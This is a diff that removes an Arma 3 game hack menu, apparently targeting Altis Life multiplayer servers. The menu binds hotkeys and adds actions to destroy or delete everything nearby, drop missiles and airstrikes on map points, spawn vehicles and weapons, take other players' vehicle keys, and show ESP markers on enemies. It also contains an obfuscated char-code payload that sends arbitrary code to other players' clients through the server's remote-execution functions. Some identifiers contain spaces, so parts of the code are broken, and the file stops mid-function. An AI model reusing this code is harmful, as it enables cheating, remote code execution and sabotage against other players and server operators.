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- check_load = 0;
- if (isNil("already_load")) then {
- already_load = 1;
- einfg = (findDisplay 46) displayAddEventHandler["KeyDown", {
- if ((_this select 1) == 210) then {
- if (check_load == 0) then {
- ["TaskSucceeded", ["", "Hack Loaded - by Aaron is sexy updated"]] call BIS_fnc_showNotification;
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- hint format["\n\n Menu by Aaron is sexy updated Loaded! \n\n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %1 \n ----------------------------------------------- \n\n F2 = Instant Disconnect \n F3 = Switch view to Player\n F5 = Instant Heal / Repair \n Yellow Features are Risky! \n ", _CountAllUnits];
- check_load = 1;
- call init_main;
- };
- }
- }];
- entf = (findDisplay 46) displayAddEventHandler["KeyDown", {
- if ((_this select 1) == 211) then {
- if (check_load == 0) then {
- ["TaskSucceeded", ["", "Script executed"]] call BIS_fnc_showNotification;
- execvm "_src\test.sqf";
- check_load = 1;
- };
- }
- }];
- f1 = (findDisplay 46) displayAddEventHandler["KeyDown", {
- if ((_this select 1) == 59) then {
- hint "F1 does not have a function!";
- }
- }];
- f2 = (findDisplay 46) displayAddEventHandler["KeyDown", {
- if ((_this select 1) == 60) then {
- endMission 'LOSER';
- }
- }];
- f3 = (findDisplay 46) displayAddEventHandler["KeyDown", {
- if ((_this select 1) == 61) then {
- c_player setDamage 100;
- objNull remoteControl _x;
- player switchCamera "EXTERNAL";
- hint "Switched back \n by Aaron is sexy updated";
- }
- }];
- f5 = (findDisplay 46) displayAddEventHandler["KeyDown", {
- if ((_this select 1) == 63) then {
- cursorTarget setDamage 0;
- cursorTarget setFuel 1;
- player setDamage 0;
- vehicle player setDamage 0;
- vehicle player setFuel 1;
- Dummy setDamage 0;
- vehicle Dummy setDamage 0;
- vehicle Dummy setFuel 1;
- hint "You and Target Healed \n by Aaron is sexy updated";
- }
- }];
- player addEventHandler["respawn", {
- player addAction["Load", {
- removeallactions player;
- player addAction["Load", {
- call init_main;
- }];
- }];
- }];
- init_main = {
- removeallactions player;
- onMapSingleClick "";
- player addAction["<t color='#FF0000'>Made by Aaron is sexy updated</t>", {
- preload = nil;
- removeallactions player;
- player addAction["Load", {
- call init_main;
- }];
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- removeallactions player;
- player addAction["Load", {
- call init_main;
- }];
- }, "", 50];
- player addAction["Main Menu", "[]call MainMenubyAaron is sexy updated", "", 50];
- player addAction["Equipment", "[]call EquipmentMenubyAaron is sexy updated", "", 50];
- player addAction["Vehicles", "[]call VehicleMenubyAaron is sexy updated", "", 50];
- player addAction["Target", "[]call TargetMenubyAaron is sexy updated", "", 50];
- player addAction["Extras", "[]call ExtrasMenubyAaron is sexy updated", "", 50];
- player addAction["Server", "[]call ServerMenubyAaron is sexy updated", "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- removeallactions player;
- player addAction["Load", {
- call init_main;
- }];
- }, "", 50];
- call compile toString[84, 104, 105, 114, 116, 121, 83, 105, 120, 32, 61, 32, 123, 10, 10, 9, 95, 83, 69, 78, 68, 95, 84, 79, 32, 61, 32, 95, 116, 104, 105, 115, 32, 115, 101, 108, 101, 99, 116, 32, 48, 59, 10, 9, 95, 69, 88, 69, 67, 95, 67, 79, 68, 69, 32, 61, 32, 95, 116, 104, 105, 115, 32, 115, 101, 108, 101, 99, 116, 32, 49, 59, 10, 10, 9, 91, 91, 34, 108, 105, 102, 101, 95, 100, 112, 95, 112, 111, 105, 110, 116, 115, 34, 44, 91, 95, 69, 88, 69, 67, 95, 67, 79, 68, 69, 32, 43, 32, 34, 108, 105, 102, 101, 95, 100, 112, 95, 112, 111, 105, 110, 116, 32, 61, 32, 110, 105, 108, 59, 34, 93, 93, 44, 34, 108, 105, 102, 101, 95, 102, 110, 99, 95, 110, 101, 116, 83, 101, 116, 86, 97, 114, 34, 44, 95, 83, 69, 78, 68, 95, 84, 79, 44, 102, 97, 108, 115, 101, 44, 102, 97, 108, 115, 101, 93, 32, 115, 112, 97, 119, 110, 32, 108, 105, 102, 101, 95, 102, 110, 99, 95, 77, 80, 59, 10, 9, 91, 91, 112, 108, 97, 121, 97, 98, 108, 101, 85, 110, 105, 116, 115, 32, 115, 101, 108, 101, 99, 116, 32, 40, 102, 108, 111, 111, 114, 32, 114, 97, 110, 100, 111, 109, 32, 40, 99, 111, 117, 110, 116, 32, 112, 108, 97, 121, 97, 98, 108, 101, 85, 110, 105, 116, 115, 41, 41, 93, 44, 34, 108, 105, 102, 101, 95, 102, 110, 99, 95, 103, 101, 116, 68, 80, 77, 105, 115, 115, 105, 111, 110, 34, 44, 95, 83, 69, 78, 68, 95, 84, 79, 44, 102, 97, 108, 115, 101, 44, 102, 97, 108, 115, 101, 93, 32, 115, 112, 97, 119, 110, 32, 108, 105, 102, 101, 95, 102, 110, 99, 95, 77, 80, 59, 10, 10, 125, 59];
- MainMenubyAaron is sexy updated = {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Destroy Target", {
- _dt = cursorTarget;
- cursorTarget setDamage 100;
- hint format["%1 \n Damaged \n by Aaron is sexy updated", _dt];
- }, "", 50];
- player addAction["Delete Target", {
- _dt = cursorTarget;
- deleteVehicle cursorTarget;
- hint format["%1 \n Deleted \n by Aaron is sexy updated", _dt];
- }, "", 50];
- player addAction["Destroy all in Range", {
- _l = position player nearObjects 500;
- _cl = count _l;
- _sl = 0;
- for "_sl"
- from 0 to _cl do {
- _tl = _l select _sl;
- if (getPlayerUID _tl == "") then {
- if (_cl == _sl + 1) then {
- _tl = "Done";
- };
- hint format[" \n - Destroy - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n Units in Range: \n %1 \n ----------------------------------------------- \n Current Selected: \n %2 \n %3 \n ----------------------------------------------- \n DESTROYED ", _cl, _sl + 1, _tl];
- _tl SetDamage 100;
- };
- };
- }, "", 50];
- player addAction["Delete all in Range", {
- _l = position player nearObjects 500;
- _cl = count _l;
- _sl = 0;
- for "_sl"
- from 0 to _cl do {
- _tl = _l select _sl;
- if (getPlayerUID _tl == "") then {
- if (_cl == _sl + 1) then {
- _tl = "Done";
- };
- hint format[" \n - Delete - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n Units in Range: \n %1 \n ----------------------------------------------- \n Current Selected: \n %2 \n %3 \n ----------------------------------------------- \n DELETED ", _cl, _sl + 1, _tl];
- deleteVehicle _tl;
- };
- };
- }, "", 50];
- player addAction["Teleport", {
- openMap[true, false];
- onMapSingleClick '_pos1 = [(_pos select 0), (_pos select 1), 0]; vehicle player setPos _pos1;hint format [ "%1 \n was teleported to \n %2 \n by Aaron is sexy updated", name player, _pos1] onMapSingleClick "";openMap [false, false];';
- }, "", 50];
- player addAction["Missle", {
- meins = 0;
- mein1 = {
- openMap[false, false];
- [_pos] spawn {
- for '_l39'
- from 0 to meins do {
- _l87 = "M_AT";
- _l88 = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 200];
- _l89 = createVehicle[_l87, _l88, [], 0, "CAN_COLLIDE"];
- _l89 setvelocity[0, 0, 0];
- [_l89, -90, 0] call BIS_fnc_setPitchBank;
- hint format["Missile Launched \n by Aaron is sexy updated", _l39];
- sleep(random 1.00);
- };
- };
- };
- titleText["Click on map drop missle's", "PLAIN"];
- titlefadeout 7;
- onMapSingleClick "_pos call mein1;";
- openMap[true, false];
- }, "", 50];
- player addAction["Airstrike", {
- meins = 1000;
- mein1 = {
- openMap[false, false];
- [_pos] spawn {
- for '_l39'
- from 0 to meins do {
- _l87 = "M_AT";
- _l88 = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 200];
- _l89 = createVehicle[_l87, _l88, [], 0, "CAN_COLLIDE"];
- _l89 setvelocity[random 1000.00 - 500, random 1000.00 - 500, 0];
- [_l89, -90, 0] call BIS_fnc_setPitchBank;
- hint format["Missiles Launched \n by Aaron is sexy updated \n %1", _l39];
- sleep(random 0.00001);
- };
- };
- };
- titleText["Click on map to drop Airstrike", "PLAIN"];
- titlefadeout 7;
- onMapSingleClick "_pos call mein1;";
- openMap[true, false];
- }, "", 50];
- player addAction["Vehicle <t color='#0000FF'>EMP</t>", {
- [cursorTarget, "vehicle player setFuel 0;"] call Aaron is sexy updated;
- hint format["%1 \n Vehicle Stopped \n by Aaron is sexy updated", cursorTarget];
- }, "", 50];
- player addAction["HealMe / Car", {
- player setDamage 0;
- vehicle player setDamage 0;
- vehicle player setFuel 1;
- hint "Healed \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["Heal / Repair Target", {
- cursorTarget setDamage 0;
- cursorTarget setFuel 1;
- }, "", 50];
- player addAction["Lock / Unlock Target", {
- _vehicle = vehicle player;
- if (_vehicle == player) then {
- _veh = cursorTarget;
- _locked = locked _veh;
- if (_locked == 2) then {
- _veh setVehicleLock "UNLOCKED";
- hint "You have unlocked a vehicle";
- } else {
- _veh setVehicleLock "LOCKED";
- hint "You have locked a vehicle";
- };
- };
- if (_vehicle != player) then {
- _veh = vehicle player;
- _locked = locked _veh;
- if (_locked == 2) then {
- _veh setVehicleLock "UNLOCKED";
- hint "You have unlocked a vehicle";
- } else {
- _veh setVehicleLock "LOCKED";
- hint "You have locked a vehicle";
- };
- };
- }, "", 50];
- player addAction["Get Key Car/Target", {
- hint "You got the Key's \n by Aaron is sexy updated";
- life_vehicles set[count life_vehicles, cursorTarget];
- life_vehicles set[count life_vehicles, vehicle player];
- }, "", 50];
- };
- EquipmentMenubyAaron is sexy updated = {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Clear Outfit", {
- removeUniform player;
- removeAllWeapons player;
- removeBackpack player;
- removeHeadgear player;
- removeVest player;
- removeHeadgear player;
- player addWeapon 'ItemWatch';
- player addWeapon 'ItemCompass';
- player addWeapon 'ItemGPS';
- player addWeapon 'ItemRadio';
- player addWeapon 'ItemMap';
- }, "", 50];
- player addAction["Civ Outfit", {
- removeUniform player;
- removeAllWeapons player;
- removeBackpack player;
- removeHeadgear player;
- removeVest player;
- removeHeadgear player;
- player addUniform 'U_IG_Guerilla2_3';
- player addHeadgear 'H_Bandanna_khk';
- player addVest 'V_TacVest_oli';
- player addWeapon 'NVGoggles';
- player addWeapon 'Binocular';
- player addWeapon 'G_Shades_Black';
- player addBackpack 'B_Carryall_oli';
- player addWeapon 'ItemGPS';
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Rebel 1 Outfit", {
- removeUniform player;
- removeAllWeapons player;
- removeBackpack player;
- removeHeadgear player;
- removeVest player;
- removeHeadgear player;
- player addUniform 'U_I_CombatUniform_tshirt';
- player addHeadgear 'H_Shemag_olive';
- player addVest 'V_TacVest_oli';
- player addWeapon 'NVGoggles';
- player addWeapon 'Binocular';
- player addWeapon 'G_Shades_Black';
- player addWeapon 'ItemGPS';
- }, "", 50];
- player addAction["Rebel 2 Outfit", {
- removeUniform player;
- removeAllWeapons player;
- removeBackpack player;
- removeHeadgear player;
- removeVest player;
- removeHeadgear player;
- player addUniform 'U_IG_Guerilla2_1';
- player addHeadgear 'h_watchcap_blk';
- player addVest 'V_TacVest_oli';
- player addWeapon 'NVGoggles';
- player addWeapon 'Binocular';
- player addWeapon 'G_Bandanna_shades';
- player addWeapon 'ItemGPS';
- }, "", 50];
- player addAction["Rebel 3 Outfit", {
- removeUniform player;
- removeAllWeapons player;
- removeBackpack player;
- removeHeadgear player;
- removeVest player;
- removeHeadgear player;
- player addUniform 'U_I_G_resistanceLeader_F';
- player addHeadgear 'h_watchcap_blk';
- player addVest 'V_TacVest_oli';
- player addWeapon 'NVGoggles';
- player addWeapon 'Binocular';
- player addWeapon 'G_Bandanna_shades';
- player addWeapon 'ItemGPS';
- }, "", 50];
- player addAction["Ghillie Outfit", {
- removeUniform player;
- removeAllWeapons player;
- removeBackpack player;
- removeHeadgear player;
- removeVest player;
- removeHeadgear player;
- player addUniform 'U_O_GhillieSuit';
- player addHeadgear 'H_Shemag_olive';
- player addVest 'V_TacVest_oli';
- player addWeapon 'NVGoggles';
- player addWeapon 'Binocular';
- player addWeapon 'G_Shades_Black';
- player addWeapon 'ItemGPS';
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Police Outfit", {
- removeUniform player;
- removeAllWeapons player;
- removeBackpack player;
- removeHeadgear player;
- removeVest player;
- removeHeadgear player;
- player addWeapon 'G_Shades_Black';
- player addUniform 'U_Rangemaster';
- player addVest 'V_TacVest_blk';
- player addHeadgear 'h_watchcap_blk';
- player addWeapon 'G_Bandanna_shades';
- player addWeapon 'ItemGPS';
- }, "", 50];
- player addAction["Backpack + Items", {
- player addBackpack 'B_Carryall_oli';
- player addWeapon 'ItemWatch';
- player addWeapon 'ItemCompass';
- player addWeapon 'ItemGPS';
- player addWeapon 'ItemRadio';
- player addWeapon 'ItemMap';
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Pistol", {
- player addMagazines['30Rnd_9x21_Mag', 5];
- player addWeapon 'hgun_P07_snds_F';
- }, "", 50];
- player addAction["PDW", {
- player addMagazines["30Rnd_9x21_Mag", 5];
- player addWeapon 'hgun_PDW2000_F';
- player addPrimaryWeaponItem 'optic_ACO_grn';
- }, "", 50];
- player addAction["MX", {
- removeAllWeapons player;
- removeBackpack player;
- player addBackpack 'B_Carryall_oli';
- (unitBackpack player) addItemCargo['30Rnd_65x39_caseless_mag_Tracer', 5];
- (unitBackpack player) addItemCargo['3Rnd_HE_Grenade_shell', 3];
- (unitBackpack player) addItemCargo['3Rnd_Smoke_Grenade_shell', 3];
- (unitBackpack player) addItemCargo['3Rnd_UGL_FlareWhite_F', 3];
- (unitBackpack player) addItemCargo['3Rnd_UGL_FlareGreen_F', 3];
- (unitBackpack player) addItemCargo['3Rnd_UGL_FlareRed_F', 3];
- (unitBackpack player) addItemCargo['3Rnd_UGL_FlareYellow_F', 3];
- (unitBackpack player) addItemCargo['3Rnd_UGL_FlareCIR_F', 3];
- player addWeapon 'arifle_MX_GL_Hamr_pointer_F';
- player addPrimaryWeaponItem 'muzzle_snds_H';
- player addPrimaryWeaponItem 'optic_Hamr';
- }, "", 50];
- player addAction["MK 20", {
- player addMagazines['30Rnd_556x45_Stanag_Tracer_Green', 5];
- player addWeapon 'arifle_Mk20_F';
- player addPrimaryWeaponItem 'muzzle_snds_H';
- player addPrimaryWeaponItem 'optic_Hamr';
- }, "", 50];
- player addAction["LMG Zafir 150 Rnd", {
- player addMagazines['150Rnd_762x51_Box_Tracer', 5];
- player addWeapon 'LMG_Zafir_pointer_F';
- player addPrimaryWeaponItem 'muzzle_snds_H';
- player addPrimaryWeaponItem 'optic_Hamr';
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Katiba Aco", {
- player addMagazines['30Rnd_65x39_caseless_green', 5];
- player addWeapon 'arifle_Katiba_ACO_F';
- }, "", 50];
- player addAction["ACPC", {
- player addMagazines['9Rnd_45ACP_Mag', 5];
- player addWeapon 'hgun_ACPC2_F';
- }, "", 50];
- player addAction["M320 Sos", {
- player addMagazines['7Rnd_408_Mag', 5];
- player addWeapon 'srifle_LRR_SOS_F';
- }, "", 50];
- player addAction["Ebr Aco", {
- player addMagazines['20Rnd_762x51_Mag', 5];
- player addWeapon 'srifle_EBR_ACO_F';
- }, "", 50];
- player addAction["Rahim Sos", {
- player addMagazines['10Rnd_762x51_Mag', 5];
- player addWeapon 'srifle_DMR_01_SOS_F';
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Sniper DMR 7.62", {
- player addMagazines['10Rnd_762x51_Mag', 5];
- player addWeapon 'srifle_DMR_01_DMS_snds_F';
- }, "", 50];
- player addAction["Sniper LRR 408.", {
- player addMagazines['7Rnd_408_Mag', 5];
- player addWeapon 'srifle_LRR_SOS_F';
- }, "", 50];
- player addAction["Sniper GM6 Lynx", {
- player addMagazines['5Rnd_127x108_APDS_Mag', 5];
- player addWeapon 'srifle_GM6_LRPS_F';
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Launcher AA", {
- player addMagazines['Titan_AA', 5];
- player addWeapon 'launch_Titan_F';
- }, "", 50];
- player addAction["Launcher AT", {
- player addMagazines['Titan_AT', 5];
- player addWeapon 'launch_B_Titan_short_F';
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Local Chest", {
- _cr = "Box_NATO_WpsSpecial_F"
- createVehicle(position player);
- nul = [_cr, 0, true] call fill;
- _cr setpos(position player);
- sleep 180; /* sleep 3min */
- deletevehicle _cr;
- }, "", 50];
- };
- VehicleMenubyAaron is sexy updated = {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Spawn Quadbike", {
- _svtp = createVehicle["B_G_Quadbike_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Gocart", {
- _svtp = createVehicle["C_Kart_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Spawn Hatchback", {
- _svtp = createVehicle["C_Hatchback_01_sport_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Offroad", {
- _svtp = createVehicle["C_Offroad_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn SUV", {
- _svtp = createVehicle["C_SUV_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Truck", {
- _svtp = createVehicle["B_Truck_01_covered_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Spawn Strider", {
- _svtp = createVehicle["I_MRAP_03_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Strider HMG", {
- _svtp = createVehicle["I_MRAP_03_hmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Strider GMG", {
- _svtp = createVehicle["I_MRAP_03_gmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Hunter", {
- _svtp = createVehicle["B_MRAP_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Hunter HMG", {
- _svtp = createVehicle["B_MRAP_01_hmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Hunter GMG", {
- _svtp = createVehicle["B_MRAP_01_gmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Ifrit", {
- _svtp = createVehicle["O_MRAP_02_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Ifrit HMG", {
- _svtp = createVehicle["O_MRAP_02_hmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Ifrit GMG", {
- _svtp = createVehicle["O_MRAP_02_gmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Tank", {
- _svtp = createVehicle["B_MBT_01_cannon_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Tank2", {
- _svtp = createVehicle["B_MBT_01_mlrs_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Spawn AH9", {
- _svtp = createVehicle["B_Heli_Light_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn AH9 Armed", {
- _svtp = createVehicle["B_Heli_Light_01_armed_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Armed Kajaman", {
- _svtp = createVehicle["O_Heli_Attack_02_black_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Ghost Hawk", {
- _svtp = createVehicle["B_Heli_Transport_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Armed Orca", {
- _svtp = createVehicle["O_Heli_Light_02_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Commance", {
- _svtp = createVehicle["B_Heli_Attack_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Spawn Plane I", {
- _svtp = createVehicle["I_Plane_Fighter_03_CAS_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Plane B", {
- _svtp = createVehicle["B_Plane_CAS_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["Spawn Plane O", {
- _svtp = createVehicle["O_Plane_CAS_02_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction player - 90);
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Plane Jump", {
- deleteVehicle Plane_Jump;
- _wPos = getpos player;
- _side = side player;
- ua_36 = 1;
- Aaron is sexy updated_Plane_Jump = [
- [(_wPos select 0), (_wPos select 1) - 1000, (_wPos select 2) + 700], _dir, 'B_Plane_CAS_01_F', _side
- ] call bis_fnc_spawnvehicle;
- Plane_Jump = Aaron is sexy updated_Plane_Jump select 0;
- hint format["%1 \n Spawned \n Taked Control", Plane_Jump]; {
- _x = player;
- first = _x;
- _x = vehicle Plane_Jump;
- second = _x;
- secondowner = owner _x;
- }
- foreach playableunits;
- first remotecontrol second;
- vehicle second switchcamera "EXTERNAL";
- hint "Press F3 to switch back \n by Aaron is sexy updated";
- Plane_Jump addAction["<t color='#FF0000'> - E5P Markers</t>", {
- if (isnil("E5P")) then {
- E5P = 0;
- };
- if (E5P == 0) then {
- E5P = 1;
- hint "E5P \n by Aaron is sexy updated \n ON";
- } else {
- E5P = 0;
- hint "E5P \n by Aaron is sexy updated \n OFF";
- };
- if (E5P == 1) then {
- onEachFrame {
- _l49 = nearestobjects[Plane_Jump, ["CAManBase"], 1500]; {
- if ((side _x != side player) && (getPlayerUID _x != "") && ((Plane_Jump distance _x) < 1500)) then {
- drawIcon3D["", [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(Plane_Jump distance _x), name _x]), 1, 0.04, "TahomaB"]
- } else {
- if ((getPlayerUID _x != "") && ((Plane_Jump distance _x) < 1500)) then {
- drawIcon3D["", [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(Plane_Jump distance _x), name _x]), 1, 0.04, "TahomaB"]
- };
- };
- }
- foreach playableUnits;
- };
- } else {
- onEachFrame {
- nil
- };
- };
- }];
- while {
- alive Plane_Jump
- }
- do {
- _l25 = primaryWeapon Plane_Jump;
- _l31 = secondaryWeapon Plane_Jump;
- Plane_Jump setAmmo[_l25, 999];
- Plane_Jump setAmmo[_l31, 999];
- (vehicle Plane_Jump) setVehicleAmmo 1;
- (vehicle Plane_Jump) setVehicleAmmo 1;
- sleep 0.01;
- };
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Spawn Ifrit (all)", {
- {
- "O_MRAP_02_gmg_F"
- createVehicle position _x;
- }
- foreach playableUnits;
- }, "", 50];
- player addAction["Spawn Strider (all)", {
- {
- "I_MRAP_03_gmg_F"
- createVehicle position _x;
- }
- foreach playableUnits;
- }, "", 50];
- player addAction["Spawn Tank (all)", {
- {
- "B_MBT_01_cannon_F"
- createVehicle position _x;
- }
- foreach playableUnits;
- }, "", 50];
- player addAction["Spawn AH9 (all)", {
- {
- "B_Heli_Light_01_armed_F"
- createVehicle position _x;
- }
- foreach playableUnits;
- }, "", 50];
- player addAction["Spawn Plane (all)", {
- {
- "I_Plane_Fighter_03_CAS_F"
- createVehicle position _x;
- }
- foreach playableUnits;
- }, "", 50];
- };
- TargetMenubyAaron is sexy updated = {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Create Sniper Dummy at Cursor", {
- deleteVehicle Dummy;
- _wPos = screenToWorld[0.5, 0.5];
- _side = side player;
- Aaron is sexy updated_Dummy = [_wPos, _dir, 'I_Spotter_F', _side] call bis_fnc_spawnvehicle;
- Dummy = Aaron is sexy updated_Dummy select 0;
- removeAllWeapons Dummy;
- removeBackpack Dummy;
- removeHeadgear Dummy;
- removeVest Dummy;
- removeHeadgear Dummy;
- Dummy addHeadgear 'H_Shemag_olive';
- Dummy addVest 'V_TacVest_oli';
- Dummy addWeapon 'NVGoggles';
- Dummy addWeapon 'Binocular';
- Dummy addWeapon 'G_Shades_Black';
- Dummy addWeapon 'ItemGPS';
- Dummy addBackpack 'B_Carryall_oli';
- Dummy addMagazines['5Rnd_127x108_APDS_Mag', 5];
- Dummy addWeapon 'srifle_GM6_LRPS_F';
- hint format["%1 \n Spawned \n Take Control in 3 seconds", Dummy];
- sleep 3; {
- _x = player;
- first = _x;
- _x = vehicle Dummy;
- second = _x;
- secondowner = owner _x;
- }
- foreach playableunits;
- first remotecontrol second;
- vehicle second switchcamera "EXTERNAL";
- hint "Press F3 to switch back \n by Aaron is sexy updated";
- call Dummy_Menu;
- }, "", 50];
- player addAction["Create Mk20 Dummy at Cursor", {
- deleteVehicle Dummy;
- _wPos = screenToWorld[0.5, 0.5];
- _side = side player;
- Aaron is sexy updated_Dummy = [_wPos, _dir, 'I_Soldier_M_F', _side] call bis_fnc_spawnvehicle;
- Dummy = Aaron is sexy updated_Dummy select 0;
- removeAllWeapons Dummy;
- removeBackpack Dummy;
- removeHeadgear Dummy;
- removeVest Dummy;
- removeHeadgear Dummy;
- Dummy addHeadgear 'H_Shemag_olive';
- Dummy addVest 'V_TacVest_oli';
- Dummy addWeapon 'NVGoggles';
- Dummy addWeapon 'Binocular';
- Dummy addWeapon 'G_Shades_Black';
- Dummy addWeapon 'ItemGPS';
- Dummy addBackpack 'B_Carryall_oli';
- Dummy addMagazines['30Rnd_556x45_Stanag_Tracer_Green', 5];
- Dummy addWeapon 'arifle_Mk20_F';
- Dummy addPrimaryWeaponItem 'muzzle_snds_H';
- Dummy addPrimaryWeaponItem 'optic_Hamr';
- hint format["%1 \n Spawned \n Take Control in 3 seconds", Dummy];
- sleep 3; {
- _x = player;
- first = _x;
- _x = vehicle Dummy;
- second = _x;
- secondowner = owner _x;
- }
- foreach playableunits;
- first remotecontrol second;
- vehicle second switchcamera "EXTERNAL";
- hint "Press F3 to switch back \n by Aaron is sexy updated";
- call Dummy_Menu;
- }, "", 50];
- player addAction["Create Civ Dummy at Cursor", {
- deleteVehicle Dummy;
